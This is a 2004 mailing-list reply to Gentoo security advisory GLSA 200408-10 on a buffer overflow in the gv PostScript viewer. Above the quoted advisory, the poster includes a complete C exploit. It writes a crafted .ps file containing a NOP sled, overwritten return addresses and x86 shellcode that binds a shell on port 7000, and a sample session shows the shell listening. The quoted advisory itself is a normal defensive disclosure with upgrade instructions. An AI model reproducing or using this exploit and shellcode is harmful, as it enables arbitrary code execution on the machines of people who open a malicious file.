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Re: [ GLSA 200408-10 ] gv: Exploitable Buffer Overflow
From: infamous41md () hotpop com
Date: Thu, 12 Aug 2004 18:06:46 -0400

/*
 * gv postscript viewer exploit , infamous42md AT hotpop DOT com
 *
 * run of the mill bof.  spawns a remote shell on port 7000.  woopty doo. if
 * someone has been able to exploit the heap overflow in cfengine, please email
 * me and teach me something. after days of pain i've concluded it's not 
 * possible b/c you can't manipulate the heap enough to get anything good in 
 * front of you.  please prove me wrong so i can learn.
 *
 * shouts to mitakeet
 *
 *  [n00b () localho outernet] netstat -ant | grep 7000
 *  [n00b () localho outernet] gcc -Wall -o gvown gvown.c
 *  [n00b () localho outernet] ./gvown 0xbffff350
 *  [n00b () localho outernet] ./gv h4x0ring_sacr3ts_uncuv3red.ps 
 *  [n00b () localho outernet] netstat -ant | grep 7000
 *  tcp        0      0 0.0.0.0:7000            0.0.0.0:*               LISTEN      
 */
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define NOP 0x90
#define NNOPS 512
#define die(x) do{perror(x); exit(EXIT_FAILURE);}while(0)
#define BS 0x10000
#define RETADDR_BYTES 400
#define PS_COMMENT "%!PS-Adobe- "
#define OUTFILE "h4x0ring_sacr3ts_uncuv3red.ps"


/* call them on port 7000, mine */
char remote[] =
"\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
"\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
"\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
"\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
"\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
"\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
"\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
    

int main(int argc, char **argv)
{
    int len, x, fd;
    char    buf[BS];
    u_long  retaddr;

    if(argc < 2){
        fprintf(stderr, "Usage: %s < retaddr >\n", argv[0]);
        return EXIT_FAILURE;
    }
    sscanf(argv[1], "%lx", &retaddr);

    /* create 3vil buf */
    memset(buf, NOP, BS);
    strcpy(buf, PS_COMMENT);
    len = strlen(buf);
    for(x = 0; x < RETADDR_BYTES - 3; x += sizeof(retaddr))
        memcpy(buf+x+len, &retaddr, sizeof(retaddr));
    len += x + NNOPS;
    strcpy(buf+len, remote);
    strcat(buf+len, "\n");
    len += strlen(remote) + 1;   /* + NULL */

    /* create the 3vil file */
    if( (fd = open(OUTFILE, O_RDWR|O_CREAT|O_EXCL, 0666)) < 0)
        die("open");
    
    if(write(fd, buf, len) < 0)
        die("write");

    close(fd);
    
    return 0;
}



On Thu, 12 Aug 2004 13:33:07 +0200
Sune Kloppenborg Jeppesen <jaervosz () gentoo org> wrote:

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Gentoo Linux Security Advisory                           GLSA 200408-10
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                                            http://security.gentoo.org/
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  Severity: Normal
     Title: gv: Exploitable Buffer Overflow
      Date: August 12, 2004
      Bugs: #59385
        ID: 200408-10

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Synopsis
========

gv contains an exploitable buffer overflow that allows an attacker to
execute arbitrary code.

Background
==========

gv is a PostScript and PDF viewer for X which provides a user interface
for the ghostscript interpreter.

Affected packages
=================

    -------------------------------------------------------------------
     Package      /   Vulnerable   /                        Unaffected
    -------------------------------------------------------------------
  1  app-text/gv      <= 3.5.8-r3                          >= 3.5.8-r4

Description
===========

gv contains a buffer overflow vulnerability where an unsafe sscanf()
call is used to interpret PDF and PostScript files.

Impact
======

By enticing a user to view a malformed PDF or PostScript file an
attacker could execute arbitrary code with the permissions of the user
running gv.

Workaround
==========

There is no known workaround at this time. All users are encouraged to
upgrade to the latest available version of gv.

Resolution
==========

All gv users should upgrade to the latest version:

    # emerge sync

    # emerge -pv ">=app-text/gv-3.5.8-r4"
    # emerge ">=app-text/gv-3.5.8-r4"

References
==========

  [ 1 ] CAN-2002-0838
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0838

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

    http://security.gentoo.org/glsa/glsa-200408-10.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security () gentoo org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2004 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/1.0
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-- 
-sean


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